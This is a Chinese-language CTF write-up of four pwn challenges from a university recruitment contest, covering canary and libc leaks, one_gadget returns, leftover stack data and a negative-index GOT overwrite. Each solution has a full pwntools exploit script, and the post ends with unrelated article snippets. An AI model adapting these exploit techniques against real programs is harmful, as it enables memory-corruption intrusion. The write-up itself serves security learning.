一共有4道pwn题,题目不算难,但是挺考验调试能力的。

pie

  一个main函数就四次溢出...

  第一次leak canary,第二次leak libc,第三次直接覆盖返回地址为one_gadgets,第四次摸鱼。感觉应该不是预期解,毕竟题目叫pie,程序本身有system("/bin/sh")也没有用到。

 1 from pwn import *
2
3 p = process(['./pie'],env={"LD_PRELOAD":"./libc.so.6"})
4 #p = process('./pie')
5 elf = ELF('./pie')
6 libc = ELF('./libc.so.6')
7 context.log_level = 'debug'
8
9 og = [0x4f3d5,0x4f432,0x10a41c]
10
11 p.sendafter('name?\n','a'*0x18+'b')
12 p.recvuntil('b')
13 canary = u64(p.recv(7).rjust(8,'\x00'))
14 print 'canary-->'+hex(canary)
15
16 p.sendafter('from?\n','a'*0x20+'bbbbbbbb')
17 p.recvuntil('bbbbbbbb')
18 libc_base = u64(p.recv(6).ljust(8,'\x00'))-231-libc.symbols['__libc_start_main']
19 print 'libc_base'+hex(libc_base)
20 shell = libc_base+og[0]
21
22 p.sendafter('know?\n',p64(libc_base)+'a'*0x10+p64(canary)+'bbbbbbbb'+p64(shell))
23 p.sendafter('no)\n','no\x00')
24 p.recv()
25 p.interactive()

QAQ

  此题不适合看伪代码,得直接看汇编。

  只有一个输入。还是需要读一下汇编。

  执行完call,返回值一般是保存在eax中,这里执行了test eax,eax,其实就是在改变标志寄存器,我们这里需要让strcmp的返回值是0,这样就能跳转到loc_8048547这里。

  看栈空间就可以知道,buf和s2,就是相比较的这两个字符串相差10个字节。

  我们写payload='a'*9+'\x00'+'a'*9+'\x00',并且在跳转那里下断点。

  第一次跳转之后,还有一层需要绕过。

  判断ebp+var_44的值和1Bh是否相等,如果相等才能执行system("/bin/sh")。看栈空间分布,发现这个我们没办法赋值。

  在buf上面,没办法写入。这个时候我又看上面的汇编。

  发现有一处就是给这个位置赋值的,是将ebp+0xarg_0赋值给这个位置。而ebp+0xarg_0是在返回地址下面。距离也很好算,用静态分析,动态分析都能看出怎么多远。这题就算是做完了。

 1 from pwn import *
2
3 p = process('./pwn')
4 context.log_level = 'debug'
5
6 #gdb.attach(p,'b *0x08048534')
7
8 sleep(0.1)
9 p.send('aaaaaaaaa\x00'+'aaaaaaaaa\x00aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa\x1b')
10 p.interactive()

easyStack

  64位程序,没开pie。

  主要就是要让shell大于3920,进入backdoor,里面有shell。

  在question中,有一个scanf函数是往v1里面写值。而v1是栈上的,而且不受我们控制。我当时想了半天也不知道怎么做。在name函数中也没有发现漏洞点。

  后来想到以前做过一道栈数据残留的题,然后就cyclic 100,写入数据,在question中scanf那里下断点。看看这个时候的v1是多少。

  果然name函数的值没有被清空,残留到了这个栈里面。此时v1是让paaa填充的。所以我们将cyclic生成的paaa处写入p32(shell),然后写入一个大于3920的数字,顺利执行就能拿到shell了。

 1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 context.log_level = 'debug'
6
7 def duan():
8 gdb.attach(p)
9 pause()
10 shell = 0x060108C
11 payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa'+p32(shell)
12
13 p.sendafter('name?\n',payload)
14 p.sendafter('else?\n','pwner')
15 p.sendlineafter('1/0]\n','4000')
16 p.recv()
17 p.interactive()

PTT0的记账本

  题目其实已经给提示了。。。

  看着像一道heap,其实并不是。。。感觉我应该是写的比较麻烦了。漏洞点就是在写index的时候,写成负数,虽然是在bss段,但是上面就是got段,将指针申请上去,可以泄露libc基地址,然后改写got表。直接放exp了。

 1 from pwn import *
2
3 p = process(['./book'],env={"LD_PRELOAD":"./libc.so.6"})
4 #p = process('./book')
5 elf = ELF('./book')
6 libc = ELF('./libc.so.6')
7 context.log_level = 'debug'
8
9 og = [0x4f3d5,0x4f432,0x10a41c]
10
11 def duan():
12 gdb.attach(p)
13 pause()
14
15 def add(index,time,deaeline,money,interest,name):
16 p.sendlineafter('>> ','1')
17 p.sendlineafter('index:',str(index))
18 p.sendlineafter('time: ',str(time))
19 p.sendlineafter('deadline: ',str(deaeline))
20 p.sendlineafter('money: ',str(money))
21 p.sendlineafter('interest: ',str(interest))
22 p.sendafter('name: ',name)
23
24 def delete(index):
25 p.sendlineafter('>> ','2')
26 p.sendlineafter('index:',str(index))
27
28 def show(index):
29 p.sendlineafter('>> ','3')
30 p.sendlineafter('index:',str(index))
31
32
33 show(-6)
34 p.recvuntil('time: ')
35 time = int(p.recvuntil('\n')[:-1])
36 print 'time-->'+hex(time)
37
38 p.recvuntil('deadline: ')
39 deadline = int(p.recvuntil('\n')[:-1])
40 print 'deadline-->'+hex(deadline)
41
42 #leak libc
43 p.recvuntil('money: ')
44 money = p.recvuntil('\n')[:-1]
45 p.recvuntil('interest: ')
46 interest = p.recvuntil('\n')[:-1]
47 printf_got = str(hex(int(interest)))+str(hex(int(money)))
48 printf_got = int(printf_got[:6]+printf_got[8:],16)
49 print 'print_got-->'+hex(printf_got)
50 libc_base = printf_got-libc.symbols['printf']
51 print 'libc_base-->'+hex(libc_base)
52
53 for i in range(len(og)):
54 print str(i)+'-->'+hex(libc_base+og[i])
55 shell = str(hex(libc_base+og[2]))
56 payload = int('0x'+shell[-8:],16)
57 print payload
58
59 p.sendlineafter('>> ','1')
60 p.sendlineafter('index:',str(-6))
61 p.sendlineafter('time: ',str(0xaa))
62 p.sendlineafter('deadline: ',str(0xbb))
63 p.sendlineafter('money: ',str(payload))
64 p.interactive()

  因为做的人不多,题目难度不大,赶着做还是拿了两道题的一血,两道题的二血,也有一些收获,总之还是很开兴的。

0RAYS元旦招新赛的更多相关文章

  1. 2019级第一次月赛暨ACM工作室第一次招新赛、补题赛

    A:最简单签到,没有之一 Description 此题简单如题意,就是求最大值 Input 多组输入 每组输入输入一串字符串(包括字母和数字),长度小于500 Output 每行输出字符ASCII值与 ...

  2. ACM团队招新赛题解

    标程代码全部为C语言编写.代码中的#if LOCAL_ 至#endif为本地一些调试内容,可以忽略. Xenny的A+B(1)[容易][签到] 签到题,做不出的话可能你有点不太适合ACM了. Xenn ...

  3. 招新系统(jsp+servlet,实现简略前端网页注册登录+后台增删改查,分学生和管理员,Java语言,mysql数据库连接,tomcat服务器)

    生活不只是眼前的苟且,还有诗和远方. 架构说明: 要求是采用MVC模式,所以分了下面的几个包,但是由于是第一次写,可能分的也不是很清楚: 这个是后台部分的架构: 这个是前端的的展示: (那个StuLo ...

  4. ACM_招新笔试题系列——买包子

    招新笔试题系列——买包子 Time Limit: 2000/1000ms (Java/Others) Problem Description: 小华刚到大学,一天早上她替她室友买早餐,一共要N个包子. ...

  5. XDTIC2019招新笔试题 + 官方解答

    腾讯创新俱乐部2019年招新笔试试题   [1] 小宗学长正在努力学习数论,他写下了一个奇怪的算式: \[ 2019^{2018^{2017^{\dots^{2^1}}}} \] 算式的结果一定很大, ...

  6. 招新裁老,两面派互联网大厂,培训三个月,就拿15K,凭什么?

    看到一位朋友在发帖子求问:亲身经历,(如有谎言我名字倒过来写)一个大学同学18年毕业的.在兰州一个二本学的兽医农牧,毕业难找工作,去深圳一个机构培训了三个月吧,然后就去做大数据 算法了,然后又去做ja ...

  7. CTFshow-萌新赛逆向_签退

    查看题目信息 下载re3.pyc文件 使用uncompyle把re3.pyc反编译为re3.py uncompyle6 re3.pyc > re3.py 查看re3.py文件 # uncompy ...

  8. CTFshow-萌新赛逆向_flag白给

    查看题目信息 下载后得到一个flag.exe文件,进行测试 使用PEiD查壳 发现一个upx的壳 使用命令进行解壳 upx -d 拿到一个无壳的程序 放进OD打开,查找关键词 发现信息 成功拿到序列号 ...

  9. CTFshow萌新赛-萌新福利

    下载链接文件 拿到show.bin文件 使用010Editor工具打开文件 做取反操作 取反后可以看到 把show.bin改为show.m4a 使用音频播放软件播放,即可得到flag

随机推荐

  1. [uoj173]鏖战表达式

    2018年论文题,上接loj2506,主要是论文中的第4章,也可快速跳至原题解 5.平衡树的嵌套问题 平衡树嵌套 所谓平衡树嵌套,就是若干棵平衡树,其中若干棵平衡树的根会指向另一颗平衡树上的一个节点 ...

  2. [cf1486F]Pairs of Paths

    以1为根建树,先将所有路径挂在lca上,再分两类讨论: 1.lca相同,此时我们仅关心于lca上不经过第$a$和$b$个儿子路径数,容斥一下,即所有路径-经过$a$的-经过$b$的+经过$a$和$b$ ...

  3. Electron快速入门之debug

    view->toggleDevelpper Tools 本地桌面调试 浏览器debug "start": "electron --inspect=5858 .&qu ...

  4. myeclipse激活、破解教程

    myeclipse安装注意事项 首先要下载jdk 配置jdk的环境变量 如果1和2 都打不开说明没有下载jdk文件,点击下载就可以了,点击1的时候会出现要求下载的界面,直接下载就可以了...下载完成之 ...

  5. Docker namespace,cgroup,镜像构建,数据持久化及Harbor安装、高可用配置

    1.Docker namespace 1.1 namespace介绍 namespace是Linux提供的用于分离进程树.网络接口.挂载点以及进程间通信等资源的方法.可以使运行在同一台机器上的不同服务 ...

  6. 回文字符串 Manacher

    1. Manacher 忘光了,忘光了. 首先将字符串所有字符之间(包括头尾)插入相同分隔符,再在最前方插入另一个分隔符防止越界. 设以 \(s_i\) 为对称中心的回文串中,最长的回文半径为 \(p ...

  7. python-django-分页处理

    每个模型都有一个管理器,Manager 通过分页可以先加载一部分的数据内容,然后避免大量的查询带来的等待时间 应用场景是,排行榜,前十条或者 for i in range(100): ...: ... ...

  8. R语言与医学统计图形-【27】ggplot2图形组合、字体、保存

    ggplot2绘图系统--图形组合.字体选择.保存输出 1.图形组合 一页多图在基础包中利用par和layout函数来切分画布. ggplot2是先铺好网格背景,再进行绘图,所以要通过切分网格背景来实 ...

  9. GIFS服务的使用

    1.安装Samba服务 登录192.168.200.20虚拟机,首先修改主机名,命令如下: [root@nfs-client ~]# hostnamectl set-hostname samba [r ...

  10. Linux内存管理和寻址详解

    1.概念 内存管理模式 段式:内存分为了多段,每段都是连续的内存,不同的段对应不用的用途.每个段的大小都不是统一的,会导致内存碎片和内存交换效率低的问题. 页式:内存划分为多个内存页进行管理,如在 L ...